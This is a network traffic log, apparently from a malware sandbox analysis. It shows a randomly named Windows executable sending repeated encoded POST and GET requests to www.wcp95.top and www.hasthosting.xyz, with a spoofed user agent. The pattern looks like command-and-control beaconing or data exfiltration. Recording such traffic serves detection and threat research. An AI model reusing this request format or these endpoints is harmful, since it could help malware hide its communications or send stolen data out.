Nov 7, 2024 10:53:22.208640099 CET	270	OUT	Data Raw: 71 63 2f 47 4c 50 37 46 74 49 66 4d 2f 36 4d 31 35 6b 6a 39 49 4b 70 6b 4d 6e 72 78 33 79 56 78 6e 43 33 55 47 55 56 65 71 34 50 2f 50 75 75 6b 6b 37 52 6e 43 48 47 50 2f 78 7a 33 4e 71 4c 52 5a 4f 38 77 74 34 53 36 4d 39 44 43 2f 68 6e 79 6f 31 Data Ascii: qc/GLP7FtIfM/6M15kj9IKpkMnrx3yVxnC3UGUVeq4P/Puukk7RnCHGP/xz3NqLRZO8wt4S6M9DC/hnyo1Y0ivmZZP7m3ZeykdTpFUEz2hInQBl5jX0DiKaAZsDSLZ/TdgdKSLaO5pEUTT60LwSL/nYLSSSgd1X4Ac0j7SQAHaq8KNiQsmSvOlFGezBphLSLwIVXrRCMZxswCBzJDnVSgxtCoC/7jl54CC9TRB/fWbU1JGfoYgs
Nov 7, 2024 10:53:23.156002045 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 07 Nov 2024 09:53:22 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a747c1-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.22	49216	154.23.184.95	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:53:24.744441986 CET	781	OUT	POST /1bs4/ HTTP/1.1 Host: www.wcp95.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.wcp95.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Referer: http://www.wcp95.top/1bs4/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 41 46 4e 72 38 44 59 4d 72 6c 76 6b 4b 31 4f 2f 66 71 5a 49 6f 70 57 4a 35 58 37 42 75 2b 34 6e 34 4d 66 4f 41 77 36 36 41 6a 6c 7a 50 74 4b 42 69 32 58 34 32 69 44 6e 6c 34 33 4a 64 73 68 2b 42 56 62 32 42 68 59 49 61 6e 67 48 2b 46 6e 37 54 52 77 66 50 6a 45 70 51 4c 63 37 77 59 4e 36 6b 33 32 79 37 64 4a 4b 32 47 6b 33 30 36 78 2f 6d 30 72 31 71 66 45 4b 64 38 61 62 45 79 47 64 48 77 70 46 70 49 79 56 34 6d 4a 5a 53 61 33 79 45 67 72 2f 52 73 6d 62 71 2f 32 50 56 56 39 4d 79 54 6a 50 54 4d 6b 76 64 4c 45 66 79 46 48 6a 6e 71 7a 51 73 52 6b 49 36 6a 72 65 38 39 55 47 73 77 3d 3d Data Ascii: mFptYb=AFNr8DYMrlvkK1O/fqZIopWJ5X7Bu+4n4MfOAw66AjlzPtKBi2X42iDnl43Jdsh+BVb2BhYIangH+Fn7TRwfPjEpQLc7wYN6k32y7dJK2Gk306x/m0r1qfEKd8abEyGdHwpFpIyV4mJZSa3yEgr/Rsmbq/2PVV9MyTjPTMkvdLEfyFHjnqzQsRkI6jre89UGsw==
Nov 7, 2024 10:53:25.682163000 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 07 Nov 2024 09:53:25 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a747c1-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.22	49217	154.23.184.95	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:53:27.284322023 CET	2472	OUT	POST /1bs4/ HTTP/1.1 Host: www.wcp95.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.wcp95.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 3627 Referer: http://www.wcp95.top/1bs4/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 41 46 4e 72 38 44 59 4d 72 6c 76 6b 49 57 57 2f 5a 4a 42 49 34 35 57 47 67 6e 37 42 35 75 34 6a 34 4d 54 4f 41 30 43 71 48 52 4a 7a 57 65 79 42 69 51 72 34 30 69 44 6e 75 59 33 4e 44 63 68 6f 42 56 66 41 42 6b 63 32 61 6c 4d 48 73 79 6a 37 66 43 49 65 41 7a 45 72 55 4c 63 34 77 59 4d 79 6b 33 6d 32 37 64 4e 6b 32 46 55 33 30 75 52 2f 75 6b 72 32 32 76 45 4b 64 38 61 58 45 79 47 39 48 77 78 64 70 4e 6d 46 37 51 6c 5a 56 34 76 79 66 44 54 38 59 4d 6d 68 69 66 32 51 61 45 51 7a 72 46 76 78 65 4e 34 4a 57 2f 59 51 35 6e 4c 63 6e 63 6e 50 73 55 6b 65 31 58 4f 51 2b 2b 5a 2f 7a 61 6f 44 35 53 5a 75 58 30 73 4f 65 54 4c 53 34 4b 36 37 58 73 4a 6c 38 72 71 44 6e 42 6b 6c 4c 72 39 73 63 4f 38 7a 33 6b 50 65 4b 75 37 62 70 71 6a 35 38 4f 51 62 38 31 49 2b 6a 72 78 52 57 50 76 75 42 4a 62 41 58 66 75 42 53 64 49 37 74 4e 53 30 38 78 44 4c 4c 32 46 65 71 5a 4a 75 53 52 32 7a 38 49 63 71 53 77 68 7a 63 6b 6d 57 2f 42 51 33 63 73 41 76 77 62 47 63 46 37 34 63 51 71 38 38 36 41 64 36 49 68 42 [TRUNCATED] Data Ascii: mFptYb=AFNr8DYMrlvkIWW/ZJBI45WGgn7B5u4j4MTOA0CqHRJzWeyBiQr40iDnuY3NDchoBVfABkc2alMHsyj7fCIeAzErULc4wYMyk3m27dNk2FU30uR/ukr22vEKd8aXEyG9HwxdpNmF7QlZV4vyfDT8YMmhif2QaEQzrFvxeN4JW/YQ5nLcncnPsUke1XOQ++Z/zaoD5SZuX0sOeTLS4K67XsJl8rqDnBklLr9scO8z3kPeKu7bpqj58OQb81I+jrxRWPvuBJbAXfuBSdI7tNS08xDLL2FeqZJuSR2z8IcqSwhzckmW/BQ3csAvwbGcF74cQq886Ad6IhB1JQmpuw16DLmdsZ7wQM8q4Ipj1U093Iv3LlK0OV5fiGCPn0sSs1OSXNb+Uy+9xvm4CLuBQXK9b+YfsD0SxALj2zgN7lqqL+cvfd4qmlsd+RMAEPNOt7/MFxnjeT8nloh4nxd5Ah6yGqWyM7D/xxnbOyyLEgWE90lyf3iVus7X0k+G02M6bs/3xmIPA6hfw53rrdjBIIhCh/ogIez4QGRZhffnkCSunD6N2F9mtJrykIdPbGEWFvaGEph3ONg9uCHqvEvGec5WsjlG2EjdDG7V7FYR/ulVyW3ER0CVuHERJ1pghnxHzAtwmwa/eMgfP6SZjrBRwIobzODHFo+bIEBu5SJkY+1MvbkQOx8fqP6yBldzFo9KRFiUxd0//wV9+6Bi6VgoM65RCnudx3yiHGsR35kPnRBX3Bb/fLrisjOXeyQSPI48jRuFGhPbC6NHiNYhpfABc8aDu7zbXe2AC6SNa3dZbWVrL+SkzFPv1gDdYRR1Xv1v1K3k43aMZ6qweYIx+JXI3ULKzmxA89WlWrFmh13Ys+G8RIa45YrorIIOK1JcXZiOYXFav0SiFXjo0XMX9BdxsW98EDWZ9Polkhyf5ze7BXXbkfG0jMnOgYUt7UKyoNsNhu704FHUjrgFaxijP68ELj4mbt6MucHf2N9Uftbb9sWMB7P+b [TRUNCATED]
Nov 7, 2024 10:53:27.289467096 CET	1734	OUT	Data Raw: 71 38 2f 47 44 39 37 46 42 59 66 4e 76 36 4f 58 68 6b 69 71 63 4b 6c 30 4d 68 72 78 32 63 49 68 36 79 33 55 47 79 56 65 32 34 50 2f 66 75 75 6b 45 37 57 58 43 45 4f 66 2f 4b 73 58 4d 73 43 78 5a 53 38 77 73 66 53 2b 41 58 44 41 7a 68 6d 68 51 31 Data Ascii: q8/GD97FBYfNv6OXhkiqcKl0Mhrx2cIh6y3UGyVe24P/fuukE7WXCEOf/KsXMsCxZS8wsfS+AXDAzhmhQ1OxevlpZFhW3Ka1s1TpZYEzGxJVIBkLbXxwaKJwZtJyLI/TBIdJ69aMA8ElPT6ELwWNSVcLSUVgdCX4A00jjOQFOCq+6NiSEmUfPXIme1PJhnSL9SVXidCNpxsy2B1pTnDigxiioL1bjs0YOF9TkplaOAWzpaeJg6r
Nov 7, 2024 10:53:28.231308937 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 07 Nov 2024 09:53:28 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a747c1-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.22	49218	154.23.184.95	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:53:29.830585003 CET	527	OUT	GET /1bs4/?Vta=nFypuDtholF&mFptYb=NHlL/20Wj3mxTDCCV6AphceXnl/MtZ4Wk+fSFhy0eU4XSufIixCpoBi/gorAC+VzK2LBCRkbZWFQo0n9IQJ7RFp7WJwc0YsNtE+R3Mg/2HoitvY+uCvmluoRVqvz HTTP/1.1 Host: www.wcp95.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 7, 2024 10:53:30.778723001 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 07 Nov 2024 09:53:30 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a747c1-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.22	49219	185.27.134.144	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:53:36.033199072 CET	2472	OUT	POST /04fb/ HTTP/1.1 Host: www.hasthosting.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.hasthosting.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 2163 Referer: http://www.hasthosting.xyz/04fb/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 4a 42 36 4b 36 6f 79 49 64 4c 69 35 2b 49 77 59 42 36 4b 79 77 4d 5a 67 6e 62 75 49 2f 50 72 4c 4f 58 4c 62 30 47 30 72 4b 62 45 58 69 65 58 4f 2b 48 6d 4f 36 79 69 73 36 37 64 42 4b 45 79 4f 4d 63 38 36 41 66 57 6b 74 73 46 31 58 48 2f 46 41 78 32 41 66 75 4d 79 69 67 42 32 74 43 55 53 65 39 31 55 72 67 33 6a 38 75 4d 46 65 77 79 78 72 77 4d 4e 6b 78 41 33 32 70 7a 6b 4c 61 75 57 65 38 38 32 4d 77 63 2b 52 76 76 63 55 31 48 6c 58 54 4c 66 46 64 49 66 6e 2f 6e 31 74 35 5a 7a 6d 78 6d 4d 47 70 30 5a 30 39 78 41 7a 79 69 4f 62 2f 55 72 61 41 42 6e 58 54 4e 5a 49 6c 2b 44 41 33 68 52 4e 4d 59 6d 4c 55 34 31 6d 46 79 32 6c 49 78 34 4f 4b 6c 7a 45 49 32 63 45 32 6b 76 58 36 74 42 73 45 2f 6c 64 39 2b 41 73 65 71 55 4d 54 2f 49 48 5a 5a 37 6a 51 58 46 72 57 48 65 75 59 62 47 73 6d 44 71 31 51 44 4f 55 6e 62 62 6c 4f 79 39 78 76 59 36 64 4b 7a 53 4a 30 6d 49 54 57 75 79 58 43 45 46 4d 46 51 54 73 6c 4a 4e 66 44 7a 4d 61 4e 47 41 4e 72 56 4f 6f 34 63 31 75 2f 35 69 6c 68 4a 46 79 47 4c [TRUNCATED] Data Ascii: mFptYb=JB6K6oyIdLi5+IwYB6KywMZgnbuI/PrLOXLb0G0rKbEXieXO+HmO6yis67dBKEyOMc86AfWktsF1XH/FAx2AfuMyigB2tCUSe91Urg3j8uMFewyxrwMNkxA32pzkLauWe882Mwc+RvvcU1HlXTLfFdIfn/n1t5ZzmxmMGp0Z09xAzyiOb/UraABnXTNZIl+DA3hRNMYmLU41mFy2lIx4OKlzEI2cE2kvX6tBsE/ld9+AseqUMT/IHZZ7jQXFrWHeuYbGsmDq1QDOUnbblOy9xvY6dKzSJ0mITWuyXCEFMFQTslJNfDzMaNGANrVOo4c1u/5ilhJFyGLZD6uAjmsYYdju9cHNBQJccVwWCzBaaJ0+2WHET6ZuA8jsttn/lOYZqBwYr0acRFm5sbNbXsgcrL5+MfGAnRh1sRMScz6q0rkbWvin3oNzJmEGZchfBL/WlTJga9BJasgPTfyCj27DqXPGH9lFOKofGO/HElxNuVDQba/Zhr07Nfmpe0pDilFOnYesdMYLHwvZsJ3OqjMRK/eBpljcOdaeruy24mCUfyrxXlMOubN4Xq+HHOmQNmhN3vylp8I/VpruxM6BehhD9ovJZcXzt6DjHa5ZleSj89OgU+XdepVWGknl4ExuM9XXN/Zkv1jyaN5jBg5xyat4XAD+NBzpI/SMfHKfNTFHJobBLP1/RlzJfqVFZ0ssTsZDZQ/IITovMius7Aw7NMp/ffLElvvLZ24lwlFk48fgV1+2WMORx2uy+Ynk88Dz4ixmhDQ8YlkHCTH3L5X0Ry/4pJksj2UTIn8eLLg49TsCWdl8dnqw69eeukYQoA5B6dQp6tao6314LecKmeJ0iUOjRNu0+J8bsyIcNjj9E5QwoZwfsCyj7iHPS3MlwJRVerZfMm04cmFMssncIOydg3pVHKzaOx1Alhcb5JXxdgbsK+nvB03moWMW+2MFtTUFm3AIZuWmVx4du6ENOcvyGYYjxVvJIpEoiIeChblOHTSrX5XiE [TRUNCATED]
Nov 7, 2024 10:53:36.038217068 CET	288	OUT	Data Raw: 6c 67 2b 52 4a 4a 66 50 42 64 45 6d 68 33 6c 44 49 2f 46 68 42 43 31 38 30 47 6e 70 68 4a 4a 6a 36 45 32 63 36 53 39 7a 33 76 39 65 67 56 47 6a 4f 6a 6c 76 6b 4e 35 42 62 74 6d 78 49 79 34 4f 36 57 6d 50 7a 76 43 45 59 54 66 74 72 54 55 44 78 4c Data Ascii: lg+RJJfPBdEmh3lDI/FhBC180GnphJJj6E2c6S9z3v9egVGjOjlvkN5BbtmxIy4O6WmPzvCEYTftrTUDxLcdU2GYRsGYmYtWXag79JUwFC9YqBLWKweLrQ5UuJjHDoWOpG8/zQc3WCXjy7+685HoUlbD7AuaHlLlB2RSk2faz1S7m0gxDvpgYbkuQmFjIRZd08qmRqvVaXa4DQB5z9RNPWSFR7FazKiJJ6cSLhPuXfPwXAPWECH
Nov 7, 2024 10:53:36.838181019 CET	688	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 07 Nov 2024 09:53:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Content-Encoding: br Data Raw: 31 62 65 0d 0a a1 10 1a 00 20 ff af a9 a7 2b 8f 74 c8 13 dd 10 d0 7c bb f6 a9 b9 75 32 b3 86 a6 dd 03 37 05 8d 30 d1 54 cf fd e0 65 97 2f 06 9c f0 f3 bf cd 6c 60 03 9d cd 35 7b f6 27 48 3d 38 e6 d6 08 b4 4b 02 db 74 7a 68 d4 08 90 27 35 ed 19 66 13 e5 da 78 da 62 d4 0c 92 1b 37 15 9a b9 d4 6e 85 91 db 06 16 e0 8c 83 a7 97 da fa 21 97 04 71 4c 92 11 35 82 55 59 e7 0e 02 96 ac a5 19 27 e4 1f e2 a1 fb 9f 22 75 ed be 02 f2 0b d7 86 85 a7 17 6a 21 03 d8 35 96 d6 8d 83 03 29 1c fd 95 bf a7 7f b1 da 02 9c 6c b7 ea fb 48 47 a8 04 cb d4 01 c6 d4 43 5a fb 81 7d df fe da 87 21 71 21 04 19 6f ec 93 7f 39 c2 29 ae 30 26 e1 c5 c7 04 1a 05 19 5f 76 d5 1b 32 f9 5f ef 40 01 40 ff 81 3d 67 4c 2b 69 53 a9 b2 2c b7 a5 e4 c2 f0 82 f5 a5 d5 4c a6 ba c4 84 6a 9b b7 a5 28 ca d2 e4 ce 39 c1 4d 21 65 29 64 ca 64 ce 04 d3 a5 f4 22 1d 10 03 28 fe 4e 61 8c 96 c2 38 e9 75 aa 15 cf 58 e1 fb 79 56 72 21 dd 48 6a bb 32 db c6 4e 00 73 80 df de 3a d7 76 80 43 a4 61 82 5d 3f b9 78 8c ad 33 db ef 75 17 18 9a 53 45 35 21 21 ae 51 64 7e [TRUNCATED] Data Ascii: 1be +t\|u270Te/l`5{'H=8Ktzh'5fxb7n!qL5UY'"uj!5)lHGCZ}!q!o9)0&_v2_@@=gL+iS,Lj(9M!e)dd"(Na8uXyVr!Hj2Ns:vCa]?x3uSE5!!Qd~">1t0QNCk>8zWm7Y$-N&a]<1[F=E$fZd!1jjv0F[*3 0
Nov 7, 2024 10:53:37.384191990 CET	688	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 07 Nov 2024 09:53:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Content-Encoding: br Data Raw: 31 62 65 0d 0a a1 10 1a 00 20 ff af a9 a7 2b 8f 74 c8 13 dd 10 d0 7c bb f6 a9 b9 75 32 b3 86 a6 dd 03 37 05 8d 30 d1 54 cf fd e0 65 97 2f 06 9c f0 f3 bf cd 6c 60 03 9d cd 35 7b f6 27 48 3d 38 e6 d6 08 b4 4b 02 db 74 7a 68 d4 08 90 27 35 ed 19 66 13 e5 da 78 da 62 d4 0c 92 1b 37 15 9a b9 d4 6e 85 91 db 06 16 e0 8c 83 a7 97 da fa 21 97 04 71 4c 92 11 35 82 55 59 e7 0e 02 96 ac a5 19 27 e4 1f e2 a1 fb 9f 22 75 ed be 02 f2 0b d7 86 85 a7 17 6a 21 03 d8 35 96 d6 8d 83 03 29 1c fd 95 bf a7 7f b1 da 02 9c 6c b7 ea fb 48 47 a8 04 cb d4 01 c6 d4 43 5a fb 81 7d df fe da 87 21 71 21 04 19 6f ec 93 7f 39 c2 29 ae 30 26 e1 c5 c7 04 1a 05 19 5f 76 d5 1b 32 f9 5f ef 40 01 40 ff 81 3d 67 4c 2b 69 53 a9 b2 2c b7 a5 e4 c2 f0 82 f5 a5 d5 4c a6 ba c4 84 6a 9b b7 a5 28 ca d2 e4 ce 39 c1 4d 21 65 29 64 ca 64 ce 04 d3 a5 f4 22 1d 10 03 28 fe 4e 61 8c 96 c2 38 e9 75 aa 15 cf 58 e1 fb 79 56 72 21 dd 48 6a bb 32 db c6 4e 00 73 80 df de 3a d7 76 80 43 a4 61 82 5d 3f b9 78 8c ad 33 db ef 75 17 18 9a 53 45 35 21 21 ae 51 64 7e [TRUNCATED] Data Ascii: 1be +t\|u270Te/l`5{'H=8Ktzh'5fxb7n!qL5UY'"uj!5)lHGCZ}!q!o9)0&_v2_@@=gL+iS,Lj(9M!e)dd"(Na8uXyVr!Hj2Ns:vCa]?x3uSE5!!Qd~">1t0QNCk>8zWm7Y$-N&a]<1[F=E$fZd!1jjv0F[*3 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.22	49220	185.27.134.144	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:53:38.584611893 CET	799	OUT	POST /04fb/ HTTP/1.1 Host: www.hasthosting.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.hasthosting.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Referer: http://www.hasthosting.xyz/04fb/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 4a 42 36 4b 36 6f 79 49 64 4c 69 35 2b 4a 77 59 44 76 6d 79 7a 73 5a 67 6b 62 75 49 77 76 71 41 4f 58 48 54 30 43 6b 43 4a 6f 55 58 73 71 54 4f 2f 31 65 4f 30 53 69 72 75 72 64 46 53 6b 79 62 4d 63 38 78 41 61 75 6b 74 74 6c 31 46 79 37 46 51 45 61 48 54 2b 4d 77 36 51 42 4e 74 43 59 35 65 36 39 45 72 67 76 6a 38 74 59 46 4d 6b 65 78 74 57 67 4e 68 42 41 78 77 70 79 38 4c 62 53 35 65 38 73 75 4d 7a 49 2b 52 62 50 63 55 6e 66 6c 45 30 2f 66 4c 39 49 53 6c 50 6d 70 68 72 6b 49 76 52 75 32 45 61 51 70 31 5a 70 30 76 67 50 4b 63 70 59 34 52 44 4d 50 4a 57 59 78 65 47 4c 39 63 51 3d 3d Data Ascii: mFptYb=JB6K6oyIdLi5+JwYDvmyzsZgkbuIwvqAOXHT0CkCJoUXsqTO/1eO0SirurdFSkybMc8xAaukttl1Fy7FQEaHT+Mw6QBNtCY5e69Ergvj8tYFMkextWgNhBAxwpy8LbS5e8suMzI+RbPcUnflE0/fL9ISlPmphrkIvRu2EaQp1Zp0vgPKcpY4RDMPJWYxeGL9cQ==
Nov 7, 2024 10:53:39.405797005 CET	688	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 07 Nov 2024 09:53:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Content-Encoding: br Data Raw: 31 62 65 0d 0a a1 10 1a 00 20 ff af a9 a7 2b 8f 74 c8 13 dd 10 d0 7c bb f6 a9 b9 75 32 b3 86 a6 dd 03 37 05 8d 30 d1 54 cf fd e0 65 97 2f 06 9c f0 f3 bf cd 6c 60 03 9d cd 35 7b f6 27 48 3d 38 e6 d6 08 b4 4b 02 db 74 7a 68 d4 08 90 27 35 ed 19 66 13 e5 da 78 da 62 d4 0c 92 1b 37 15 9a b9 d4 6e 85 91 db 06 16 e0 8c 83 a7 97 da fa 21 97 04 71 4c 92 11 35 82 55 59 e7 0e 02 96 ac a5 19 27 e4 1f e2 a1 fb 9f 22 75 ed be 02 f2 0b d7 86 85 a7 17 6a 21 03 d8 35 96 d6 8d 83 03 29 1c fd 95 bf a7 7f b1 da 02 9c 6c b7 ea fb 48 47 a8 04 cb d4 01 c6 d4 43 5a fb 81 7d df fe da 87 21 71 21 04 19 6f ec 93 7f 39 c2 29 ae 30 26 e1 c5 c7 04 1a 05 19 5f 76 d5 1b 32 f9 5f ef 40 01 40 ff 81 3d 67 4c 2b 69 53 a9 b2 2c b7 a5 e4 c2 f0 82 f5 a5 d5 4c a6 ba c4 84 6a 9b b7 a5 28 ca d2 e4 ce 39 c1 4d 21 65 29 64 ca 64 ce 04 d3 a5 f4 22 1d 10 03 28 fe 4e 61 8c 96 c2 38 e9 75 aa 15 cf 58 e1 fb 79 56 72 21 dd 48 6a bb 32 db c6 4e 00 73 80 df de 3a d7 76 80 43 a4 61 82 5d 3f b9 78 8c ad 33 db ef 75 17 18 9a 53 45 35 21 21 ae 51 64 7e [TRUNCATED] Data Ascii: 1be +t\|u270Te/l`5{'H=8Ktzh'5fxb7n!qL5UY'"uj!5)lHGCZ}!q!o9)0&_v2_@@=gL+iS,Lj(9M!e)dd"(Na8uXyVr!Hj2Ns:vCa]?x3uSE5!!Qd~">1t0QNCk>8zWm7Y$-N&a]<1[F=E$fZd!1jjv0F[*3 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.22	49221	185.27.134.144	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:53:41.128685951 CET	2472	OUT	POST /04fb/ HTTP/1.1 Host: www.hasthosting.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.hasthosting.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 3627 Referer: http://www.hasthosting.xyz/04fb/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 4a 42 36 4b 36 6f 79 49 64 4c 69 35 6b 6f 41 59 50 6f 53 79 6e 38 5a 6a 72 37 75 49 2f 50 72 4a 4f 58 4c 54 30 47 30 